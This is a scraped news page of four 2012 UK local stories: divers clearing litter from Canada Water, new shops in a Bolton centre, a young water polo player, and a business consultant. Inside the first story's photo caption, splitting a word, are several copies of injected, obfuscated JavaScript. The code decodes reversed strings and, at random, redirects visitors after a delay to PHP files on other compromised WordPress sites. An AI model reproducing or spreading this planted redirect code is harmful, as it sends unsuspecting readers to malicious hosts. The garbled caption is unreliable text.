Category: News

Underwater litter pick by scuba divers

Brett Parker from Bermondsey BSAC 42 with a shopping trolley and other rubbish collected from the bot$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tom of Canada Water whilst taking part in the BSAC (British Sub Aqua Club) Underwater Litter Pick 2012 which is highlighting the problem of litter in Britain's seas and waterways and the threat it poses $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to marine life.

SCUBA divers from Bermondsey have been taking part in a nationwide underwater litter pick.

Around 20 members of the Bermondsey Sub Aqua Club, a branch of the British Sub-Aqua Club (BSAC), spent several hours on Sunday (September 2) removing shopping trolleys, motorbike frames and tin cans from Canada Water which is a haven for marine and wildlife.

Their efforts are part of a nationwide campaign by BSAC to remove litter from the waterways and coastline around Britain and record what is found.

Brett Parker, Training Officer for Bermondsey Sub Aqua Club, said: “We wanted to take part in the litter pick because we felt it was something which the whole club could get stuck in to and we had a great turnout from our members on Sunday.

“We had terrific interest from people just passing by who were all hanging over the sides, asking us what we were doing and they seemed genuinely interested and enthusiastic about what we were doing.

“The volume of urban rubbish we found did shock us and shocked the people watching too.

“We found shopping trolleys, an old bike, a motorbike frame, a watering can, one of those hose reels you use to keep your hose tidy and it does make you wonder why people just dump these in the water. We filled two huge plastic bags full of food and drink cans too.”

BSAC’s Underwater Litterpick runs until October 31 and hundreds of diving clubs up and down the UK have registered to take part. For each litter pick, divers are completing a data form to help record the volume and type of litter they have found plaguing the area where they dive.

These forms are then submitted to BSAC headquarters in Ellesmere Port, Cheshire, where the information will be collated and shared with the Marine Conservation Society (MCS) which is staging its own Beachwatch campaign where volunteers come together to clean up Britain’s beaches.

Mary Tetley, BSAC chief executive, said: “The BSAC Underwater Litterpick gives our divers the chance to contribute to the fight against marine pollution by retrieving and then recording the underwater litter that they find.

“Not only is it helping to clean up the dive sites which we all enjoy but it is also contributing to wider research and understanding of the pollution issues our precious seas and waterways face.”

Litter in our seas and beaches has a devastating impact on marine life with plastic being one of the worst offenders.

One Leatherback turtle found in Galloway had one white plastic bag, one black plastic binliner, three transparent plastic bags, one green plastic bag and one transparent plastic bag for chicken meat packaged by a US company in its stomach.

Brett added: ““We thought why not help clear something which is close to home. Canada Water is a haven for wildlife and the local fisherman were delighted to hear about what we were doing because it is home to a lot of fish too.

“We found a huge crayfish while we were down there, I couldn’t believe the size of it so Canada Water is home to a lot of marine life and dumping rubbish in there is not good for them.”

To find out more about BCAC’s Underwater Litterpick go to www.bsac.com/litterpick  and for more information on the Marine Conservation Society’s Beachwatch Big Weekend go to www.mscuk.org/beachwatch

To contact Bermondsey Sub-Aqua Club, call 07518 398845 or email to:info@bermondsey-bsac.org.uk">info@bermondsey-bsac.org.uk

Wednesday September 19th, 2012

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News

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Double dose of business development

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A DOUBLE dose of business development has been served to a busy Bolton shopping centre.

Fashion chain MIC has expanded its business and moved from its existing unit at Crompton Place and opened two new stores – one dedicated to men’s clothing and the other to women’s fashion.

The MIC move follows investment by Crompton Place’s Boots which has finished a major refurbishment of the flagship number seven range, creating one new job and potentially a second.

Malcolm Angus, Crompton Place Manager, said: “Positive business developments like these are a reflection of the hard work, investment and dedication which our retailers show Crompton Place and it is great to see our tenants grow their businesses with us.

“My team here works very hard to support these moves and it is great to see them come to fruition.

“The fact MIC has been able to now open two stores with us is terrific news and this development along with the refurbishment at Boots can only improve things for our loyal shoppers which is what we are all striving to do.”

MIC, which also has stores in Ashton and Bury, has been open in Crompton Place for eight years, although the company itself has been going for 15 years.

Omar Chaudhry, Operations Manager for MIC, said: “The move to larger premises and two stores at Crompton Place has been important for us because we simply did not have enough space in the other store for all the stock we need for our customers.

“It meant we couldn’t make the store look as good as we wanted.

“It has also meant that by creating two separate stores, we have been able to significantly expand what we can offer. We now have a full shoe department in the men’s shop which we didn’t have before and in the ladies’ store we have expanded the shoe range to twice the size and we have a lot more now in terms of accessories and handbags.

“We have been able to create a one-stop shop in both women’s and men’s wear so our customers can get everything they need in one hit and for different occasions, whether they are looking for something for day time casual or more glamorous night time wear.”

Omar added that he was very grateful to Malcolm and the Crompton Place team for their valuable help with the move which only resulted in the business being shut for one day.

He said: “We are now fully settled in our new stores and are really happy to have made the move. We are looking forward to welcoming new, old and regular customers and being able to offer them even more in the latest trends at very good prices.

“The move has also meant I have been able to offer more hours to our loyal team which work with us here to make sure we can give the best possible customer service in both stores.”

A new job was created and another could be on the way by a major number seven refurbishment at Boots in Crompton Place.

Paula Hutchinson, Team Manager, of Heywood who has worked at the busy store for eight years, said: “It has been a full facelift for our own make-up range, which is our best seller, and there has been some great feedback from customers who have literally come in and said wow because the whole thing was done overnight in about 12 hours.

“It shows an important investment in the Bolton store by Boots which I think is reassuring to our loyal customers and shows we are here to stay at Crompton Place.”

Wednesday September 12th, 2012

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News

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Rio 2016 for water polo talent

Manager Gavin Goodwin-Robertson and his son Richard at Quality Save in Stretford Mall. Richard has just returned from being at the Olympics with GB water polo squad of which he was a reserve. He is on a fast track scheme with three other young talented players who are being prepared for Rio in four years time. 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RIO 2016 beckons for a young Stretford water polo player who is on an Olympic fast track and has been sharing tips with Prince William.

Richard Goodwin-Robertson, 17, who works part-time at Quality Save in Stretford Mall, spent five days experiencing the excitement of London 2012 as part of Team GB’s Olympic Ambition Programme.

While he was there he rubbed shoulders with the heir to the throne who was a keen player of the sport when he was at St Andrew’s University.

Richard, an A-level student at Loreto College, said: “Prince William was interested in coming to watch the matches and support the men.

“A person we were with knew him and had met him before and stayed in touch. The Prince decided he wanted to come down and meet those of us who were in the Olympic Ambition Programme.

“The programme definitely gives you an insight and for me it was about motivation, to see what you can achieve. It also helps prepare athletes for future games so that they do not get overwhelmed by the occasion,” he said.

“I’ve already been told there is a very high chance I will be going to the Rio Olympics and I’ve been training with the GB men’s squad, for the past seven months already,” said Richard.

Asked about Prince William, he added: “We chatted generally throughout the match. He said there were times he wished he was playing again. He was pleased to meet with us and certainly seemed knowledgeable about the game.

“We thought it would be rude to ask to have our photographs taken with him but I think someone has got us on film and put it on line.”

The 6ft 4ins teenager is the eldest son of proud dad Gavin who is manager of the busy Stretford Mall Quality Save.

Gavin said his son is one of 130 hand picked athletes selected by the British Olympic Association to take part in the fast track scheme across all the sports.

“I’d better start saving!” said Gavin who believes that because of his age, if Richard proves good enough he could look forward to two or three Olympic tournaments.

Gavin said: “About four years ago we decided to immigrate to the UK from South Africa. Samantha, my wife, was born in the UK although had lived in South Africa since she was 10.

“Richard had started playing water polo in secondary school and it was something he did well at in a very short space of time.

“I got into water polo more when I came to the UK. It was a big risk coming over, a big challenge. A lot of people thought we were mad, coming over just as the recession was starting. We came to give both the boys better opportunities in life.”

At first the family – which also includes Richard’s younger brother Jason, 15 – were based in the South of England and Richard played water polo for the Watford club.

“Most of the time we had been used to sitting around poolside watching Richard play matches but then I wanted to go beyond being a spectator and wanted to go into coaching.”

Gavin successfully completed not just a coaching course but a table official’s course, a referee’s course and in his first year coaching at Watford, won regional competitions, as well as reaching the semi-finals in nationals.

But with the Commonwealth aquatic centre in Manchester, Gavin wanted to move the family so that Richard could have access to better coaching facilities.

Although Richard started swimming as a baby, he has never had professional swimming instruction. He now plays for Stretford Water Polo Club as well as City of Manchester’s division one side.

“In South Africa water polo is a way of life and your whole life is based around training” said Richard,” but over here you have to fit it in around everything else and that can be difficult.”

Colin McCrory, Stretford Mall Manager, said: “What a terrific coup it is for the Stretford Mall to have one of the youngsters who work with us to be tipped for the next Olympics.

“Richard and his dad Gavin are very valued members of the Stretford Mall team and I am delighted to hear about Richard’s achievements so far and wish him every success for the next few years. We will all be rooting for him to achieve the GB squad for Rio.”

Richard is studying maths, physics and chemistry and law for A level and will probably have a gap year before university. But when he is training full time he puts between 25-30 hours in the pool and the gym, getting up at 5am, going to college after training and then back to the pool or gym after college.

Team GB Chef de Mission and British Olympic Association CEO Andy Hunt said: “The Olympic Ambition Programme is a key element of our legacy planning for future Olympic Games, both summer and winter.

“The young athletes and coaches participating in the programme experience the unique atmosphere and environment of the Olympic Games and gain a very special behind the scenes insight with Team GB.”

Great Britain’s water polo squad was included at London 2012 only at the last minute thanks to funding from British Gas and it will be December before men’s water polo discovers whether funding will continue so that the men’s water polo team can go to South America.

Most of the GB team play for teams abroad and train abroad due to funding constraints. Richard has been invited to train with the clubs in Germany.

Wednesday September 12th, 2012

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Mr Motivator blasts business myths

Pro Action Business man Steven Burgess with Coxeys Advisor Rhian Williams

A former bomb disposal engineer is on a new mission to help budding entrepreneurs – exploding a few business myths along the way.

Steve Burgess, 37, from Wrexham, has taken up a less precarious profession as a Mr Motivator for fledgling companies.

The ex-engineer set up his own consultancy company, BQMC, to help firms comply with various national and international standards after leaving the RAF.

He’s even written an appropriately titled book on the subject, Explosive Business, which is all about explaining and demystifying the jargon around the business of standards compliance.

Steve has now set up a new commercial operation, Proactionman Limited, offering courses for people setting up their own businesses.

He paid tribute to the “crucial advice and support” he has received from Chartered Accountants and Statutory Auditors, Coxeys, who have offices in Wrexham and Saltney.

Steve said: “When you set up a business, there are quite a few potential minefields that you need to navigate.

“Having top class professional advice like I have received from Coxeys is absolutely essential – it saves you a lot of worry and a lot of money in the long run.”

A native of Newcastle-Under-Lyme, Steve spent eight years in the RAF where he qualified as a Weapons Engineer.

As well as working with guided missiles and fast jets, Steve also specialised in disposing of conventional air and land-based munitions. The work included a stint as part of a bomb disposal unit in the Falkland Islands.

He explained: “Munitions have an expiry life and then when that life expires  you’re  occasionally required to dispose of them.

“Not to put too fine a point on it,  you’re obviously using explosives to get rid of explosives – blowing things up to demolish the threat.

“It not a job for people with a nervous disposition but you are very well trained and you operate as part of a three-man team in a tank”

Developing appropriate standards and rigorously following proper procedures was an essential part of the job.

So, Steve’s skills as an expert in applying standards were the ideal preparation for setting up BQMC.

He said: “After I left the RAF, I was invited to assist a friend’s petro-chemical company to develop their own standards in their company.

“They help to service oil refineries, and they needed to put in place certain quality management standards, environmental management and health and safety procedures.

“With my background with working in regulations it was a natural fit really and it was clear to me that there was a real business opportunity here.

“We specialise in helping companies comply with a whole range of international and Government-accredited standards.

“I didn’t have any money to start a business so when I set up BQMC I had to do as much as I could for myself.

“I couldn’t afford to spend money on buying other people’s services and products which meant I had to look inward and educate myself.

“You could say I have been there and got the T-shirt and I now want to pass on that experience to help budding entrepreneurs make a success of their own ventures

“I would like to remove the worry from starting up and show people that there are alternative paths, rather than just loans and buying services.

“Through Proactionman and Proactionwoman, I want to be a motivator and explode a few myths about setting up a business.

“I work as a consultant and run training courses that will give people the tools and ideas to develop and grow their business whilst focusing on saving money by educating yourself and your staff.

“We are unique because we focus on building the person, as well as the business.

“A business start up is a pressure cooker environment, too many people and companies waste time and money on areas that they can learn and control themselves.

“You have to give yourself a chance. Money is not the key to a successful business, it is your brain. That is what we help to develop.

“I’d obviously like Proactionman and Proactionwoman to develop into a nationally recognised brand because I do foresee that the need for this service will continue to grow.

“I want to pass on my skills and what I’ve learned to people who are starting on that ladder to warn them of the pitfalls and help them take advantage of opportunities that come their way.”

Gill Atkinson, a Director of Coxeys, was delighted they were able to play a part in Steve’s growing success.

She said: “Steve is a fantastic role model for any budding entrepreneurs – he has a great business idea, a vision of how he wants the company to develop and the drive to make it happen.

“His skills, experience and knowledge would be invaluable to any entrepreneurs or fledging businesses following in his footsteps.”

Steve Burgess is running a two-day course, costing £99, at Glyndwr University’s Catrin Finch Centre on Wednesday, October 24, and Tuesday, November 6. For more information go to  www.proactionman.co.uk or ring Steve on 01244 571655 or email to:contact@proactionman.co.uk">contact@proactionman.co.uk

Wednesday September 12th, 2012

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